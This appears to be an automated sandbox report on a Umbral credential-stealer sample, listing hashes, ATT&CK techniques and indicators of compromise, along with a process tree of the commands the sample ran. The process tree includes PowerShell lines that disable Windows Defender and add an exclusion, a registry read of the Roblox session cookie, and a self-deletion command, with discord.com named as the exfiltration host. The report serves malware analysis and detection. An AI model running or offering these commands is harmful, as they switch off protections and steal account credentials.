umbral | cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 08:58

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General

Target

cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
Size

229KB
MD5

ea031754ac9fe28dbc0c5915cb638e44
SHA1

14b2c7b94aefdfc911e26fc5deb6eb8b6d7c0aed
SHA256

cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e
SHA512

39a0790b3bae0862b1ba87bd6d1165694ba09cfa5104935e00ebaa13924699b2efba92ee6e744d3d820a9c05f80fa41fa1649498dce8f430835e8c6e813c25bb
SSDEEP

6144:9loZM9rIkd8g+EtXHkv/iD4RugVzZqStvY5rWWDFZb8e1m7i:foZOL+EP8RugVzZqStvY5rWWD3V

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2828-1-0x0000000000370000-0x00000000003B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2996	powershell.exe
2016	powershell.exe
2932	powershell.exe
2028	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe

Deletes itself 1 IoCs

pid	Process
2488	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2488	cmd.exe
2100	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2208	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2100	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2996	powershell.exe
2016	powershell.exe
2932	powershell.exe
2512	powershell.exe
2028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	wmic.exe
Token: SeSecurityPrivilege	3028	wmic.exe
Token: SeTakeOwnershipPrivilege	3028	wmic.exe
Token: SeLoadDriverPrivilege	3028	wmic.exe
Token: SeSystemProfilePrivilege	3028	wmic.exe
Token: SeSystemtimePrivilege	3028	wmic.exe
Token: SeProfSingleProcessPrivilege	3028	wmic.exe
Token: SeIncBasePriorityPrivilege	3028	wmic.exe
Token: SeCreatePagefilePrivilege	3028	wmic.exe
Token: SeBackupPrivilege	3028	wmic.exe
Token: SeRestorePrivilege	3028	wmic.exe
Token: SeShutdownPrivilege	3028	wmic.exe
Token: SeDebugPrivilege	3028	wmic.exe
Token: SeSystemEnvironmentPrivilege	3028	wmic.exe
Token: SeRemoteShutdownPrivilege	3028	wmic.exe
Token: SeUndockPrivilege	3028	wmic.exe
Token: SeManageVolumePrivilege	3028	wmic.exe
Token: 33	3028	wmic.exe
Token: 34	3028	wmic.exe
Token: 35	3028	wmic.exe
Token: SeIncreaseQuotaPrivilege	3028	wmic.exe
Token: SeSecurityPrivilege	3028	wmic.exe
Token: SeTakeOwnershipPrivilege	3028	wmic.exe
Token: SeLoadDriverPrivilege	3028	wmic.exe
Token: SeSystemProfilePrivilege	3028	wmic.exe
Token: SeSystemtimePrivilege	3028	wmic.exe
Token: SeProfSingleProcessPrivilege	3028	wmic.exe
Token: SeIncBasePriorityPrivilege	3028	wmic.exe
Token: SeCreatePagefilePrivilege	3028	wmic.exe
Token: SeBackupPrivilege	3028	wmic.exe
Token: SeRestorePrivilege	3028	wmic.exe
Token: SeShutdownPrivilege	3028	wmic.exe
Token: SeDebugPrivilege	3028	wmic.exe
Token: SeSystemEnvironmentPrivilege	3028	wmic.exe
Token: SeRemoteShutdownPrivilege	3028	wmic.exe
Token: SeUndockPrivilege	3028	wmic.exe
Token: SeManageVolumePrivilege	3028	wmic.exe
Token: 33	3028	wmic.exe
Token: 34	3028	wmic.exe
Token: 35	3028	wmic.exe
Token: SeIncreaseQuotaPrivilege	1772	wmic.exe
Token: SeSecurityPrivilege	1772	wmic.exe
Token: SeTakeOwnershipPrivilege	1772	wmic.exe
Token: SeLoadDriverPrivilege	1772	wmic.exe
Token: SeSystemProfilePrivilege	1772	wmic.exe
Token: SeSystemtimePrivilege	1772	wmic.exe
Token: SeProfSingleProcessPrivilege	1772	wmic.exe
Token: SeIncBasePriorityPrivilege	1772	wmic.exe
Token: SeCreatePagefilePrivilege	1772	wmic.exe
Token: SeBackupPrivilege	1772	wmic.exe
Token: SeRestorePrivilege	1772	wmic.exe
Token: SeShutdownPrivilege	1772	wmic.exe
Token: SeDebugPrivilege	1772	wmic.exe
Token: SeSystemEnvironmentPrivilege	1772	wmic.exe
Token: SeRemoteShutdownPrivilege	1772	wmic.exe
Token: SeUndockPrivilege	1772	wmic.exe
Token: SeManageVolumePrivilege	1772	wmic.exe
Token: 33	1772	wmic.exe
Token: 34	1772	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2756	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	30
PID 2828 wrote to memory of 2756	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	30
PID 2828 wrote to memory of 2756	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	30
PID 2828 wrote to memory of 2996	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	32
PID 2828 wrote to memory of 2996	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	32
PID 2828 wrote to memory of 2996	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	32
PID 2828 wrote to memory of 2016	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	34
PID 2828 wrote to memory of 2016	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	34
PID 2828 wrote to memory of 2016	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	34
PID 2828 wrote to memory of 2932	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	36
PID 2828 wrote to memory of 2932	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	36
PID 2828 wrote to memory of 2932	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	36
PID 2828 wrote to memory of 2512	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	38
PID 2828 wrote to memory of 2512	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	38
PID 2828 wrote to memory of 2512	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	38
PID 2828 wrote to memory of 3028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	40
PID 2828 wrote to memory of 3028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	40
PID 2828 wrote to memory of 3028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	40
PID 2828 wrote to memory of 1772	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	43
PID 2828 wrote to memory of 1772	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	43
PID 2828 wrote to memory of 1772	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	43
PID 2828 wrote to memory of 1668	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	45
PID 2828 wrote to memory of 1668	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	45
PID 2828 wrote to memory of 1668	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	45
PID 2828 wrote to memory of 2028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	47
PID 2828 wrote to memory of 2028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	47
PID 2828 wrote to memory of 2028	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	47
PID 2828 wrote to memory of 2208	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	49
PID 2828 wrote to memory of 2208	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	49
PID 2828 wrote to memory of 2208	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	49
PID 2828 wrote to memory of 2488	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	51
PID 2828 wrote to memory of 2488	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	51
PID 2828 wrote to memory of 2488	2828	cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe	51
PID 2488 wrote to memory of 2100	2488	cmd.exe	53
PID 2488 wrote to memory of 2100	2488	cmd.exe	53
PID 2488 wrote to memory of 2100	2488	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2756	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe
"C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe"
  2⤵
  - Views/modifies file attributes
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1772
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2208
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cfb7119e9b1eea0c3f511fb51952399c3f10edb91e12030e49a30172b0510e7e.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
91139fc6afecf6235ba268686cb5ce62

SHA1
972eff835f955a99a6dee1d98e6a39d5e5fc6618

SHA256
52b8e18d5b9c57209774946332e371a81b798eb73b39b609b2f3c4208cd11f4f

SHA512
9d08815766b2eb267785fae08fad8d37cadbdd97d87009d56a32c831f97e74eac08e7646e7be74dd6ee43d690a9fdf57498bfe4dd17fd606c3f2ca1fcae8f49d

Download Submit
memory/2016-18-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2016-19-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2828-1-0x0000000000370000-0x00000000003B0000-memory.dmp

Filesize
256KB

Download
memory/2828-2-0x000007FEF5A60000-0x000007FEF644C000-memory.dmp

Filesize
9.9MB

Download
memory/2828-0-0x000007FEF5A63000-0x000007FEF5A64000-memory.dmp

Filesize
4KB

Download
memory/2828-49-0x000007FEF5A60000-0x000007FEF644C000-memory.dmp

Filesize
9.9MB

Download
memory/2996-7-0x000007FEED73E000-0x000007FEED73F000-memory.dmp

Filesize
4KB

Download
memory/2996-10-0x0000000002E24000-0x0000000002E27000-memory.dmp

Filesize
12KB

Download
memory/2996-12-0x000007FEED480000-0x000007FEEDE1D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-11-0x0000000002E2B000-0x0000000002E92000-memory.dmp

Filesize
412KB

Download
memory/2996-9-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2996-8-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2996-50-0x000007FEED480000-0x000007FEEDE1D000-memory.dmp

Filesize
9.6MB

Download